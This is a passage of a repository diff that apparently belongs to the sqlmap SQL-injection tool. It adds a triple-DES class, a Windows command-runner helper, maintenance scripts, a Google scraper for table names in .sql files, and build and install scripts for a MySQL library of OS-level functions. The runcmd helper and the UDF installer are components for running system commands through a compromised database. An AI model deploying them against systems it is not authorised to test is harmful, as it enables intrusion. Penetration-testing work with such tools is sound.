self._padding, self._padmode)
|
||||
self.__key2 = des(key[8:16], self._mode, self._iv,
|
||||
self._padding, self._padmode)
|
||||
if self.key_size == 16:
|
||||
self.__key3 = self.__key1
|
||||
else:
|
||||
self.__key3 = des(key[16:], self._mode, self._iv,
|
||||
self._padding, self._padmode)
|
||||
_baseDes.setKey(self, key)
|
||||
|
||||
# Override setter methods to work on all 3 keys.
|
||||
|
||||
def setMode(self, mode):
|
||||
"""Sets the type of crypting mode, pyDes.ECB or pyDes.CBC"""
|
||||
_baseDes.setMode(self, mode)
|
||||
for key in (self.__key1, self.__key2, self.__key3):
|
||||
key.setMode(mode)
|
||||
|
||||
def setPadding(self, pad):
|
||||
"""setPadding() -> bytes of length 1. Padding character."""
|
||||
_baseDes.setPadding(self, pad)
|
||||
for key in (self.__key1, self.__key2, self.__key3):
|
||||
key.setPadding(pad)
|
||||
|
||||
def setPadMode(self, mode):
|
||||
"""Sets the type of padding mode, pyDes.PAD_NORMAL or pyDes.PAD_PKCS5"""
|
||||
_baseDes.setPadMode(self, mode)
|
||||
for key in (self.__key1, self.__key2, self.__key3):
|
||||
key.setPadMode(mode)
|
||||
|
||||
def setIV(self, IV):
|
||||
"""Will set the Initial Value, used in conjunction with CBC mode"""
|
||||
_baseDes.setIV(self, IV)
|
||||
for key in (self.__key1, self.__key2, self.__key3):
|
||||
key.setIV(IV)
|
||||
|
||||
def encrypt(self, data, pad=None, padmode=None):
|
||||
"""encrypt(data, [pad], [padmode]) -> bytes
|
||||
|
||||
data : bytes to be encrypted
|
||||
pad : Optional argument for encryption padding. Must only be one byte
|
||||
padmode : Optional argument for overriding the padding mode.
|
||||
|
||||
The data must be a multiple of 8 bytes and will be encrypted
|
||||
with the already specified key. Data does not have to be a
|
||||
multiple of 8 bytes if the padding character is supplied, or
|
||||
the padmode is set to PAD_PKCS5, as bytes will then added to
|
||||
ensure the be padded data is a multiple of 8 bytes.
|
||||
"""
|
||||
ENCRYPT = des.ENCRYPT
|
||||
DECRYPT = des.DECRYPT
|
||||
data = self._guardAgainstUnicode(data)
|
||||
if pad is not None:
|
||||
pad = self._guardAgainstUnicode(pad)
|
||||
# Pad the data accordingly.
|
||||
data = self._padData(data, pad, padmode)
|
||||
if self.getMode() == CBC:
|
||||
self.__key1.setIV(self.getIV())
|
||||
self.__key2.setIV(self.getIV())
|
||||
self.__key3.setIV(self.getIV())
|
||||
i = 0
|
||||
result = []
|
||||
while i < len(data):
|
||||
block = self.__key1.crypt(data[i:i+8], ENCRYPT)
|
||||
block = self.__key2.crypt(block, DECRYPT)
|
||||
block = self.__key3.crypt(block, ENCRYPT)
|
||||
self.__key1.setIV(block)
|
||||
self.__key2.setIV(block)
|
||||
self.__key3.setIV(block)
|
||||
result.append(block)
|
||||
i += 8
|
||||
if _pythonMajorVersion < 3:
|
||||
return ''.join(result)
|
||||
else:
|
||||
return bytes.fromhex('').join(result)
|
||||
else:
|
||||
data = self.__key1.crypt(data, ENCRYPT)
|
||||
data = self.__key2.crypt(data, DECRYPT)
|
||||
return self.__key3.crypt(data, ENCRYPT)
|
||||
|
||||
def decrypt(self, data, pad=None, padmode=None):
|
||||
"""decrypt(data, [pad], [padmode]) -> bytes
|
||||
|
||||
data : bytes to be encrypted
|
||||
pad : Optional argument for decryption padding. Must only be one byte
|
||||
padmode : Optional argument for overriding the padding mode.
|
||||
|
||||
The data must be a multiple of 8 bytes and will be decrypted
|
||||
with the already specified key. In PAD_NORMAL mode, if the
|
||||
optional padding character is supplied, then the un-encrypted
|
||||
data will have the padding characters removed from the end of
|
||||
the bytes. This pad removal only occurs on the last 8 bytes of
|
||||
the data (last data block). In PAD_PKCS5 mode, the special
|
||||
padding end markers will be removed from the data after
|
||||
decrypting, no pad character is required for PAD_PKCS5.
|
||||
"""
|
||||
ENCRYPT = des.ENCRYPT
|
||||
DECRYPT = des.DECRYPT
|
||||
data = self._guardAgainstUnicode(data)
|
||||
if pad is not None:
|
||||
pad = self._guardAgainstUnicode(pad)
|
||||
if self.getMode() == CBC:
|
||||
self.__key1.setIV(self.getIV())
|
||||
self.__key2.setIV(self.getIV())
|
||||
self.__key3.setIV(self.getIV())
|
||||
i = 0
|
||||
result = []
|
||||
while i < len(data):
|
||||
iv = data[i:i+8]
|
||||
block = self.__key3.crypt(iv, DECRYPT)
|
||||
block = self.__key2.crypt(block, ENCRYPT)
|
||||
block = self.__key1.crypt(block, DECRYPT)
|
||||
self.__key1.setIV(iv)
|
||||
self.__key2.setIV(iv)
|
||||
self.__key3.setIV(iv)
|
||||
result.append(block)
|
||||
i += 8
|
||||
if _pythonMajorVersion < 3:
|
||||
data = ''.join(result)
|
||||
else:
|
||||
data = bytes.fromhex('').join(result)
|
||||
else:
|
||||
data = self.__key3.crypt(data, DECRYPT)
|
||||
data = self.__key2.crypt(data, ENCRYPT)
|
||||
data = self.__key1.crypt(data, DECRYPT)
|
||||
return self._unpadData(data, pad, padmode)
|
||||
7
extra/runcmd/README.txt
Normal file
7
extra/runcmd/README.txt
Normal file
@@ -0,0 +1,7 @@
|
||||
Files in this folder can be used to compile auxiliary program that can
|
||||
be used for running command prompt commands skipping standard "cmd /c" way.
|
||||
They are licensed under the terms of the GNU Lesser General Public License
|
||||
and it's compiled version is available on the official sqlmap subversion
|
||||
repository[1].
|
||||
|
||||
[1] https://svn.sqlmap.org/sqlmap/trunk/sqlmap/shell/runcmd.exe_
|
||||
4
extra/runcmd/windows/README.txt
Normal file
4
extra/runcmd/windows/README.txt
Normal file
@@ -0,0 +1,4 @@
|
||||
Compile only the Release version because the Runtime library option
|
||||
(Project Properties -> Configuration Properties -> C/C++ -> Code
|
||||
Generation) is set to "Multi-threaded (/MT)", which statically links
|
||||
everything into executable and doesn't compile Debug version at all.
|
||||
20
extra/runcmd/windows/runcmd.sln
Normal file
20
extra/runcmd/windows/runcmd.sln
Normal file
@@ -0,0 +1,20 @@
|
||||
|
||||
Microsoft Visual Studio Solution File, Format Version 9.00
|
||||
# Visual Studio 2005
|
||||
Project("{8BC9CEB8-8B4A-11D0-8D11-00A0C91BC942}") = "runcmd", "runcmd\runcmd.vcproj", "{1C6185A9-871A-4F6E-9B2D-BE4399479784}"
|
||||
EndProject
|
||||
Global
|
||||
GlobalSection(SolutionConfigurationPlatforms) = preSolution
|
||||
Debug|Win32 = Debug|Win32
|
||||
Release|Win32 = Release|Win32
|
||||
EndGlobalSection
|
||||
GlobalSection(ProjectConfigurationPlatforms) = postSolution
|
||||
{1C6185A9-871A-4F6E-9B2D-BE4399479784}.Debug|Win32.ActiveCfg = Debug|Win32
|
||||
{1C6185A9-871A-4F6E-9B2D-BE4399479784}.Debug|Win32.Build.0 = Debug|Win32
|
||||
{1C6185A9-871A-4F6E-9B2D-BE4399479784}.Release|Win32.ActiveCfg = Release|Win32
|
||||
{1C6185A9-871A-4F6E-9B2D-BE4399479784}.Release|Win32.Build.0 = Release|Win32
|
||||
EndGlobalSection
|
||||
GlobalSection(SolutionProperties) = preSolution
|
||||
HideSolutionNode = FALSE
|
||||
EndGlobalSection
|
||||
EndGlobal
|
||||
46
extra/runcmd/windows/runcmd/runcmd.cpp
Normal file
46
extra/runcmd/windows/runcmd/runcmd.cpp
Normal file
@@ -0,0 +1,46 @@
|
||||
/*
|
||||
runcmd - a program for running command prompt commands
|
||||
Copyright (C) 2010 Miroslav Stampar
|
||||
email: miroslav.stampar@gmail.com
|
||||
|
||||
This library is free software; you can redistribute it and/or
|
||||
modify it under the terms of the GNU Lesser General Public
|
||||
License as published by the Free Software Foundation; either
|
||||
version 2.1 of the License, or (at your option) any later version.
|
||||
|
||||
This library is distributed in the hope that it will be useful,
|
||||
but WITHOUT ANY WARRANTY; without even the implied warranty of
|
||||
MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU
|
||||
Lesser General Public License for more details.
|
||||
|
||||
You should have received a copy of the GNU Lesser General Public
|
||||
License along with this library; if not, write to the Free Software
|
||||
Foundation, Inc., 51 Franklin Street, Fifth Floor, Boston, MA 02110-1301 USA
|
||||
*/
|
||||
|
||||
#include <stdio.h>
|
||||
#include <windows.h>
|
||||
#include <use_ansi.h>
|
||||
#include "stdafx.h"
|
||||
#include <string>
|
||||
|
||||
using namespace std;
|
||||
int main(int argc, char* argv[])
|
||||
{
|
||||
FILE *fp;
|
||||
string cmd;
|
||||
|
||||
for( int count = 1; count < argc; count++ )
|
||||
cmd += " " + string(argv[count]);
|
||||
|
||||
fp = _popen(cmd.c_str(), "r");
|
||||
|
||||
if (fp != NULL) {
|
||||
char buffer[BUFSIZ];
|
||||
|
||||
while (fgets(buffer, sizeof buffer, fp) != NULL)
|
||||
fputs(buffer, stdout);
|
||||
}
|
||||
|
||||
return 0;
|
||||
}
|
||||
225
extra/runcmd/windows/runcmd/runcmd.vcproj
Normal file
225
extra/runcmd/windows/runcmd/runcmd.vcproj
Normal file
@@ -0,0 +1,225 @@
|
||||
<?xml version="1.0" encoding="windows-1250"?>
|
||||
<VisualStudioProject
|
||||
ProjectType="Visual C++"
|
||||
Version="8,00"
|
||||
Name="runcmd"
|
||||
ProjectGUID="{1C6185A9-871A-4F6E-9B2D-BE4399479784}"
|
||||
RootNamespace="runcmd"
|
||||
Keyword="Win32Proj"
|
||||
>
|
||||
<Platforms>
|
||||
<Platform
|
||||
Name="Win32"
|
||||
/>
|
||||
</Platforms>
|
||||
<ToolFiles>
|
||||
</ToolFiles>
|
||||
<Configurations>
|
||||
<Configuration
|
||||
Name="Debug|Win32"
|
||||
OutputDirectory="$(SolutionDir)$(ConfigurationName)"
|
||||
IntermediateDirectory="$(ConfigurationName)"
|
||||
ConfigurationType="1"
|
||||
CharacterSet="1"
|
||||
>
|
||||
<Tool
|
||||
Name="VCPreBuildEventTool"
|
||||
/>
|
||||
<Tool
|
||||
Name="VCCustomBuildTool"
|
||||
/>
|
||||
<Tool
|
||||
Name="VCXMLDataGeneratorTool"
|
||||
/>
|
||||
<Tool
|
||||
Name="VCWebServiceProxyGeneratorTool"
|
||||
/>
|
||||
<Tool
|
||||
Name="VCMIDLTool"
|
||||
/>
|
||||
<Tool
|
||||
Name="VCCLCompilerTool"
|
||||
Optimization="0"
|
||||
PreprocessorDefinitions="WIN32;_DEBUG;_CONSOLE"
|
||||
MinimalRebuild="true"
|
||||
BasicRuntimeChecks="3"
|
||||
RuntimeLibrary="0"
|
||||
UsePrecompiledHeader="2"
|
||||
WarningLevel="3"
|
||||
Detect64BitPortabilityProblems="true"
|
||||
DebugInformationFormat="4"
|
||||
/>
|
||||
<Tool
|
||||
Name="VCManagedResourceCompilerTool"
|
||||
/>
|
||||
<Tool
|
||||
Name="VCResourceCompilerTool"
|
||||
/>
|
||||
<Tool
|
||||
Name="VCPreLinkEventTool"
|
||||
/>
|
||||
<Tool
|
||||
Name="VCLinkerTool"
|
||||
LinkIncremental="2"
|
||||
GenerateDebugInformation="true"
|
||||
SubSystem="1"
|
||||
TargetMachine="1"
|
||||
/>
|
||||
<Tool
|
||||
Name="VCALinkTool"
|
||||
/>
|
||||
<Tool
|
||||
Name="VCManifestTool"
|
||||
/>
|
||||
<Tool
|
||||
Name="VCXDCMakeTool"
|
||||
/>
|
||||
<Tool
|
||||
Name="VCBscMakeTool"
|
||||
/>
|
||||
<Tool
|
||||
Name="VCFxCopTool"
|
||||
/>
|
||||
<Tool
|
||||
Name="VCAppVerifierTool"
|
||||
/>
|
||||
<Tool
|
||||
Name="VCWebDeploymentTool"
|
||||
/>
|
||||
<Tool
|
||||
Name="VCPostBuildEventTool"
|
||||
/>
|
||||
</Configuration>
|
||||
<Configuration
|
||||
Name="Release|Win32"
|
||||
OutputDirectory="$(SolutionDir)$(ConfigurationName)"
|
||||
IntermediateDirectory="$(ConfigurationName)"
|
||||
ConfigurationType="1"
|
||||
CharacterSet="1"
|
||||
WholeProgramOptimization="1"
|
||||
>
|
||||
<Tool
|
||||
Name="VCPreBuildEventTool"
|
||||
/>
|
||||
<Tool
|
||||
Name="VCCustomBuildTool"
|
||||
/>
|
||||
<Tool
|
||||
Name="VCXMLDataGeneratorTool"
|
||||
/>
|
||||
<Tool
|
||||
Name="VCWebServiceProxyGeneratorTool"
|
||||
/>
|
||||
<Tool
|
||||
Name="VCMIDLTool"
|
||||
/>
|
||||
<Tool
|
||||
Name="VCCLCompilerTool"
|
||||
PreprocessorDefinitions="WIN32;NDEBUG;_CONSOLE"
|
||||
RuntimeLibrary="0"
|
||||
UsePrecompiledHeader="2"
|
||||
WarningLevel="3"
|
||||
Detect64BitPortabilityProblems="true"
|
||||
DebugInformationFormat="3"
|
||||
/>
|
||||
<Tool
|
||||
Name="VCManagedResourceCompilerTool"
|
||||
/>
|
||||
<Tool
|
||||
Name="VCResourceCompilerTool"
|
||||
/>
|
||||
<Tool
|
||||
Name="VCPreLinkEventTool"
|
||||
/>
|
||||
<Tool
|
||||
Name="VCLinkerTool"
|
||||
LinkIncremental="1"
|
||||
GenerateDebugInformation="true"
|
||||
SubSystem="1"
|
||||
OptimizeReferences="2"
|
||||
EnableCOMDATFolding="2"
|
||||
TargetMachine="1"
|
||||
/>
|
||||
<Tool
|
||||
Name="VCALinkTool"
|
||||
/>
|
||||
<Tool
|
||||
Name="VCManifestTool"
|
||||
/>
|
||||
<Tool
|
||||
Name="VCXDCMakeTool"
|
||||
/>
|
||||
<Tool
|
||||
Name="VCBscMakeTool"
|
||||
/>
|
||||
<Tool
|
||||
Name="VCFxCopTool"
|
||||
/>
|
||||
<Tool
|
||||
Name="VCAppVerifierTool"
|
||||
/>
|
||||
<Tool
|
||||
Name="VCWebDeploymentTool"
|
||||
/>
|
||||
<Tool
|
||||
Name="VCPostBuildEventTool"
|
||||
/>
|
||||
</Configuration>
|
||||
</Configurations>
|
||||
<References>
|
||||
</References>
|
||||
<Files>
|
||||
<Filter
|
||||
Name="Source Files"
|
||||
Filter="cpp;c;cc;cxx;def;odl;idl;hpj;bat;asm;asmx"
|
||||
UniqueIdentifier="{4FC737F1-C7A5-4376-A066-2A32D752A2FF}"
|
||||
>
|
||||
<File
|
||||
RelativePath=".\runcmd.cpp"
|
||||
>
|
||||
</File>
|
||||
<File
|
||||
RelativePath=".\stdafx.cpp"
|
||||
>
|
||||
<FileConfiguration
|
||||
Name="Debug|Win32"
|
||||
>
|
||||
<Tool
|
||||
Name="VCCLCompilerTool"
|
||||
UsePrecompiledHeader="1"
|
||||
/>
|
||||
</FileConfiguration>
|
||||
<FileConfiguration
|
||||
Name="Release|Win32"
|
||||
>
|
||||
<Tool
|
||||
Name="VCCLCompilerTool"
|
||||
UsePrecompiledHeader="1"
|
||||
/>
|
||||
</FileConfiguration>
|
||||
</File>
|
||||
</Filter>
|
||||
<Filter
|
||||
Name="Header Files"
|
||||
Filter="h;hpp;hxx;hm;inl;inc;xsd"
|
||||
UniqueIdentifier="{93995380-89BD-4b04-88EB-625FBE52EBFB}"
|
||||
>
|
||||
<File
|
||||
RelativePath=".\stdafx.h"
|
||||
>
|
||||
</File>
|
||||
</Filter>
|
||||
<Filter
|
||||
Name="Resource Files"
|
||||
Filter="rc;ico;cur;bmp;dlg;rc2;rct;bin;rgs;gif;jpg;jpeg;jpe;resx;tiff;tif;png;wav"
|
||||
UniqueIdentifier="{67DA6AB6-F800-4c08-8B7A-83BB121AAD01}"
|
||||
>
|
||||
</Filter>
|
||||
<File
|
||||
RelativePath=".\ReadMe.txt"
|
||||
>
|
||||
</File>
|
||||
</Files>
|
||||
<Globals>
|
||||
</Globals>
|
||||
</VisualStudioProject>
|
||||
8
extra/runcmd/windows/runcmd/stdafx.cpp
Normal file
8
extra/runcmd/windows/runcmd/stdafx.cpp
Normal file
@@ -0,0 +1,8 @@
|
||||
// stdafx.cpp : source file that includes just the standard includes
|
||||
// runcmd.pch will be the pre-compiled header
|
||||
// stdafx.obj will contain the pre-compiled type information
|
||||
|
||||
#include "stdafx.h"
|
||||
|
||||
// TODO: reference any additional headers you need in STDAFX.H
|
||||
// and not in this file
|
||||
17
extra/runcmd/windows/runcmd/stdafx.h
Normal file
17
extra/runcmd/windows/runcmd/stdafx.h
Normal file
@@ -0,0 +1,17 @@
|
||||
// stdafx.h : include file for standard system include files,
|
||||
// or project specific include files that are used frequently, but
|
||||
// are changed infrequently
|
||||
//
|
||||
|
||||
#pragma once
|
||||
|
||||
#ifndef _WIN32_WINNT // Allow use of features specific to Windows XP or later.
|
||||
#define _WIN32_WINNT 0x0501 // Change this to the appropriate value to target other versions of Windows.
|
||||
#endif
|
||||
|
||||
#include <stdio.h>
|
||||
#include <tchar.h>
|
||||
|
||||
|
||||
|
||||
// TODO: reference additional headers your program requires here
|
||||
9
extra/shutils/blanks.sh
Executable file
9
extra/shutils/blanks.sh
Executable file
@@ -0,0 +1,9 @@
|
||||
#!/bin/bash
|
||||
|
||||
# $Id$
|
||||
|
||||
# Copyright (c) 2006-2010 sqlmap developers (http://sqlmap.sourceforge.net/)
|
||||
# See the file 'doc/COPYING' for copying permission
|
||||
|
||||
# Removes trailing spaces from blank lines inside project files
|
||||
find ../../. -type f -iname '*.py' -exec sed -i 's/^[ \t]*$//' {} \;
|
||||
37
extra/shutils/duplicates.py
Normal file
37
extra/shutils/duplicates.py
Normal file
@@ -0,0 +1,37 @@
|
||||
#!/usr/bin/env python
|
||||
|
||||
"""
|
||||
$Id$
|
||||
|
||||
Copyright (c) 2006-2010 sqlmap developers (http://sqlmap.sourceforge.net/)
|
||||
See the file 'doc/COPYING' for copying permission
|
||||
"""
|
||||
|
||||
# Removes duplicate entries in wordlist like files
|
||||
|
||||
import sys
|
||||
|
||||
if len(sys.argv) > 0:
|
||||
|
||||
items = list()
|
||||
f = open(sys.argv[1], 'r')
|
||||
|
||||
for item in f.readlines():
|
||||
item = item.strip()
|
||||
try:
|
||||
str.encode(item)
|
||||
if item in items:
|
||||
if item:
|
||||
print item
|
||||
else:
|
||||
items.append(item)
|
||||
|
||||
if not item:
|
||||
items.append('')
|
||||
except:
|
||||
pass
|
||||
f.close()
|
||||
|
||||
f = open(sys.argv[1], 'w+')
|
||||
f.writelines("\n".join(items))
|
||||
f.close()
|
||||
9
extra/shutils/id.sh
Executable file
9
extra/shutils/id.sh
Executable file
@@ -0,0 +1,9 @@
|
||||
#!/bin/bash
|
||||
|
||||
# $Id$
|
||||
|
||||
# Copyright (c) 2006-2010 sqlmap developers (http://sqlmap.sourceforge.net/)
|
||||
# See the file 'doc/COPYING' for copying permission
|
||||
|
||||
# Adds SVN property 'Id' to project files
|
||||
find ../../. -type f -name "*.py" -exec svn propset svn:keywords "Id" '{}' \;
|
||||
48
extra/shutils/pylint.py
Normal file
48
extra/shutils/pylint.py
Normal file
@@ -0,0 +1,48 @@
|
||||
#! /usr/bin/env python
|
||||
|
||||
# Runs pylint on all python scripts found in a directory tree
|
||||
# Reference: http://rowinggolfer.blogspot.com/2009/08/pylint-recursively.html
|
||||
|
||||
import os
|
||||
import re
|
||||
import sys
|
||||
|
||||
total = 0.0
|
||||
count = 0
|
||||
|
||||
__RATING__ = False
|
||||
|
||||
def check(module):
|
||||
global total, count
|
||||
|
||||
if module[-3:] == ".py":
|
||||
|
||||
print "CHECKING ", module
|
||||
pout = os.popen('pylint --rcfile=/dev/null %s'% module, 'r')
|
||||
for line in pout:
|
||||
if re.match("E....:.", line):
|
||||
print line
|
||||
if __RATING__ and "Your code has been rated at" in line:
|
||||
print line
|
||||
score = re.findall("\d.\d\d", line)[0]
|
||||
total += float(score)
|
||||
count += 1
|
||||
|
||||
if __name__ == "__main__":
|
||||
try:
|
||||
print sys.argv
|
||||
BASE_DIRECTORY = sys.argv[1]
|
||||
except IndexError:
|
||||
print "no directory specified, defaulting to current working directory"
|
||||
BASE_DIRECTORY = os.getcwd()
|
||||
|
||||
print "looking for *.py scripts in subdirectories of ", BASE_DIRECTORY
|
||||
for root, dirs, files in os.walk(BASE_DIRECTORY):
|
||||
for name in files:
|
||||
filepath = os.path.join(root, name)
|
||||
check(filepath)
|
||||
|
||||
if __RATING__:
|
||||
print "==" * 50
|
||||
print "%d modules found"% count
|
||||
print "AVERAGE SCORE = %.02f"% (total / count)
|
||||
10
extra/sqlharvest/__init__.py
Executable file
10
extra/sqlharvest/__init__.py
Executable file
@@ -0,0 +1,10 @@
|
||||
#!/usr/bin/env python
|
||||
|
||||
"""
|
||||
$Id$
|
||||
|
||||
Copyright (c) 2006-2010 sqlmap developers (http://sqlmap.sourceforge.net/)
|
||||
See the file 'doc/COPYING' for copying permission
|
||||
"""
|
||||
|
||||
pass
|
||||
151
extra/sqlharvest/sqlharvest.py
Normal file
151
extra/sqlharvest/sqlharvest.py
Normal file
@@ -0,0 +1,151 @@
|
||||
#!/usr/bin/env python
|
||||
|
||||
"""
|
||||
$Id$
|
||||
|
||||
Copyright (c) 2006-2010 sqlmap developers (http://sqlmap.sourceforge.net/)
|
||||
See the file 'doc/COPYING' for copying permission
|
||||
"""
|
||||
|
||||
import cookielib
|
||||
import re
|
||||
import socket
|
||||
import sys
|
||||
import urllib
|
||||
import urllib2
|
||||
import ConfigParser
|
||||
|
||||
from operator import itemgetter
|
||||
|
||||
def main():
|
||||
|
||||
TIMEOUT = 10
|
||||
CONFIG_FILE = 'sqlharvest.cfg'
|
||||
TABLES_FILE = 'tables.txt'
|
||||
USER_AGENT = 'Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; AskTB5.3)'
|
||||
SEARCH_URL = 'http://www.google.com/m?source=mobileproducts&dc=gorganic'
|
||||
MAX_FILE_SIZE = 2*1024*1024 # if a result (.sql) file for downloading is more than 2MB in size just skip it
|
||||
QUERY = 'CREATE TABLE ext:sql'
|
||||
REGEX_URLS = r';u=([^"]+)'
|
||||
REGEX_RESULT = r'CREATE TABLE\s*(/\*.*\*/)?\s*(IF NOT EXISTS)?\s*(?P<result>[^\(;]+)'
|
||||
|
||||
tables = dict()
|
||||
refiles = re.compile(REGEX_URLS)
|
||||
retables = re.compile(REGEX_RESULT, re.I)
|
||||
|
||||
cookies = cookielib.CookieJar()
|
||||
cookie_processor = urllib2.HTTPCookieProcessor(cookies)
|
||||
opener = urllib2.build_opener(cookie_processor)
|
||||
opener.addheaders = [('User-Agent', USER_AGENT)]
|
||||
|
||||
conn = opener.open(SEARCH_URL)
|
||||
page = conn.read() #set initial cookie values
|
||||
|
||||
config = ConfigParser.ConfigParser()
|
||||
config.read(CONFIG_FILE)
|
||||
if not config.has_section('options'):
|
||||
config.add_section('options')
|
||||
|
||||
if not config.has_option('options', 'index'):
|
||||
config.set('options', 'index', '0')
|
||||
|
||||
i = int(config.get('options', 'index'))
|
||||
|
||||
try:
|
||||
f = open(TABLES_FILE, 'r')
|
||||
for line in f.xreadlines():
|
||||
if len(line) > 0 and ',' in line:
|
||||
temp = line.split(',')
|
||||
tables[temp[0]] = int(temp[1])
|
||||
f.close()
|
||||
except:
|
||||
pass
|
||||
|
||||
socket.setdefaulttimeout(TIMEOUT)
|
||||
|
||||
files, oldFiles = None, None
|
||||
try:
|
||||
while True:
|
||||
abort = False
|
||||
oldFiles = files
|
||||
files = []
|
||||
|
||||
try:
|
||||
conn = opener.open('%s&q=%s&start=%d&sa=N' % (SEARCH_URL, QUERY.replace(' ', '+'), i*10))
|
||||
page = conn.read()
|
||||
for match in refiles.finditer(page):
|
||||
files.append(urllib.unquote(match.group(1)))
|
||||
if len(files) >= 10: break
|
||||
abort = (files == oldFiles)
|
||||
|
||||
except KeyboardInterrupt:
|
||||
raise
|
||||
|
||||
except Exception, msg:
|
||||
print msg
|
||||
|
||||
if abort:
|
||||
break
|
||||
|
||||
sys.stdout.write("\n---------------\n")
|
||||
sys.stdout.write("Result page #%d\n" % (i+1))
|
||||
sys.stdout.write("---------------\n")
|
||||
|
||||
for sqlfile in files:
|
||||
print sqlfile
|
||||
try:
|
||||
req = urllib2.Request(sqlfile)
|
||||
response = urllib2.urlopen(req)
|
||||
|
||||
if response.headers.has_key('Content-Length'):
|
||||
if int(response.headers.get('Content-Length')) > MAX_FILE_SIZE:
|
||||
continue
|
||||
|
||||
page = response.read()
|
||||
found = False
|
||||
counter = 0
|
||||
|
||||
for match in retables.finditer(page):
|
||||
counter += 1
|
||||
table = match.group("result").strip().strip("`").strip("\"").strip("'").replace('"."', ".").replace("].[", ".").strip('[').strip(']')
|
||||
|
||||
if table and '>' not in table and '<' not in table and '--' not in table and ' ' not in table:
|
||||
found = True
|
||||
sys.stdout.write('*')
|
||||
|
||||
if table in tables:
|
||||
tables[table] += 1
|
||||
else:
|
||||
tables[table] = 1
|
||||
if found:
|
||||
sys.stdout.write("\n")
|
||||
|
||||
except KeyboardInterrupt:
|
||||
raise
|
||||
|
||||
except Exception, msg:
|
||||
print msg
|
||||
|
||||
else:
|
||||
i += 1
|
||||
|
||||
except KeyboardInterrupt:
|
||||
pass
|
||||
|
||||
finally:
|
||||
f = open(TABLES_FILE, 'w+')
|
||||
|
||||
tables = sorted(tables.items(), key=itemgetter(1), reverse=True)
|
||||
|
||||
for table, count in tables:
|
||||
f.write("%s,%d\n" % (table, count))
|
||||
|
||||
f.close()
|
||||
config.set('options', 'index', str(i+1))
|
||||
|
||||
f = open(CONFIG_FILE, 'w+')
|
||||
config.write(f)
|
||||
f.close()
|
||||
|
||||
if __name__ == "__main__":
|
||||
main()
|
||||
7
extra/udfhack/README.txt
Normal file
7
extra/udfhack/README.txt
Normal file
@@ -0,0 +1,7 @@
|
||||
Files in this folder can be used to compile shared objects that define
|
||||
some user-defined functions for MySQL and PostgreSQL. They are licensed
|
||||
under the terms of the GNU Lesser General Public License and their
|
||||
compiled versions are available on the official sqlmap subversion
|
||||
repository[1].
|
||||
|
||||
[1] https://svn.sqlmap.org/sqlmap/trunk/sqlmap/udf/
|
||||
9
extra/udfhack/linux/32/lib_mysqludf_sys/Makefile
Normal file
9
extra/udfhack/linux/32/lib_mysqludf_sys/Makefile
Normal file
@@ -0,0 +1,9 @@
|
||||
# For MySQL < 5.1
|
||||
LIBDIR=/usr/lib
|
||||
# For MySQL >= 5.1
|
||||
#LIBDIR=/usr/lib/mysql/plugin
|
||||
|
||||
install:
|
||||
gcc-4.3 -Wall -I/usr/include/mysql -Os -shared lib_mysqludf_sys.c -o lib_mysqludf_sys.so
|
||||
strip -sx lib_mysqludf_sys.so
|
||||
cp -f lib_mysqludf_sys.so $(LIBDIR)/lib_mysqludf_sys.so
|
||||
47
extra/udfhack/linux/32/lib_mysqludf_sys/install.sh
Executable file
47
extra/udfhack/linux/32/lib_mysqludf_sys/install.sh
Executable file
@@ -0,0 +1,47 @@
|
||||
#!/bin/bash
|
||||
# lib_mysqludf_sys - a library with miscellaneous (operating) system level functions
|
||||
# Copyright (C) 2007 Roland Bouman
|
||||
# Copyright (C) 2008-2010 Roland Bouman and Bernardo Damele A. G.
|
||||
# web: http://www.mysqludf.org/
|
||||
# email: mysqludfs@gmail.com, bernardo.damele@gmail.com
|
||||
#
|
||||
# This library is free software; you can redistribute it and/or
|
||||
# modify it under the terms of the GNU Lesser General Public
|
||||
# License as published by the Free Software Foundation; either
|
||||
# version 2.1 of the License, or (at your option) any later version.
|
||||
#
|
||||
# This library is distributed in the hope that it will be useful,
|
||||
# but WITHOUT ANY WARRANTY; without even the implied warranty of
|
||||
# MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU
|
||||
# Lesser General Public License for more details.
|
||||
#
|
||||
# You should have received a copy of the GNU Lesser General Public
|
||||
# License along with this library; if not, write to the Free Software
|
||||
# Foundation, Inc., 51 Franklin Street, Fifth Floor, Boston, MA 02110-1301 USA
|
||||
|
||||
# Adapt the following settings to your environment
|
||||
USER="root"
|
||||
PORT="3306"
|
||||
|
||||
echo "Compiling the MySQL UDF"
|
||||
make
|
||||
|
||||
if test $? -ne 0; then
|
||||
echo "ERROR: You need libmysqlclient development software installed"
|
||||
echo "to be able to compile this UDF, on Debian/Ubuntu just run:"
|
||||
echo "apt-get install libmysqlclient-dev"
|
||||
exit 1
|
||||
else
|
||||
echo "MySQL UDF compiled successfully"
|
||||
fi
|
||||
|
||||
echo -e "\nPlease provide your MySQL root password"
|
||||
|
||||
mysql -h 127.0.0.1 -P ${PORT} -u ${USER} -p mysql < lib_mysqludf_sys.sql
|
||||
|
||||
if test $? -ne 0; then
|
||||
echo "ERROR: unable to install the UDF"
|
||||
exit 1
|
||||
else
|
||||
echo "MySQL UDF installed successfully"
|
||||
fi
|
||||
567
extra/udfhack/linux/32/lib_mysqludf_sys/lib_mysqludf_sys.c
Normal file
567
extra/udfhack/linux/32/lib_mysqludf_sys/lib_mysqludf_sys.c
Normal file
@@ -0,0 +1,567 @@
|
||||
/*
|
||||
lib_mysqludf_sys - a library with miscellaneous (operating) system level functions
|
||||
Copyright (C) 2007 Roland Bouman
|
||||
Copyright (C) 2008-2010 Roland Bouman and Bernardo Damele A. G.
|
||||
web: http://www.mysqludf.org/
|
||||
email: mysqludfs@gmail.com, bernardo.damele@gmail.com
|
||||
|
||||
This library is free software; you can redistribute it and/or
|
||||
modify it under the terms of the GNU Lesser General Public
|
||||
License as published by the Free Software Foundation; either
|
||||
version 2.1 of the License, or (at your option) any later version.
|
||||
|
||||
This library is distributed in the hope that it will be useful,
|
||||
but WITHOUT ANY WARRANTY; without even the implied warranty of
|
||||
MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU
|
||||
Lesser General Public License for more details.
|
||||
|
||||
You should have received a copy of the GNU Lesser General Public
|
||||
License along with this library; if not, write to the Free Software
|
||||
Foundation, Inc., 51 Franklin Street, Fifth Floor, Boston, MA 02110-1301 USA
|
||||
*/
|
||||
|
||||
#if defined(_WIN32) || defined(_WIN64) || defined(__WIN32__) || defined(WIN32)
|
||||
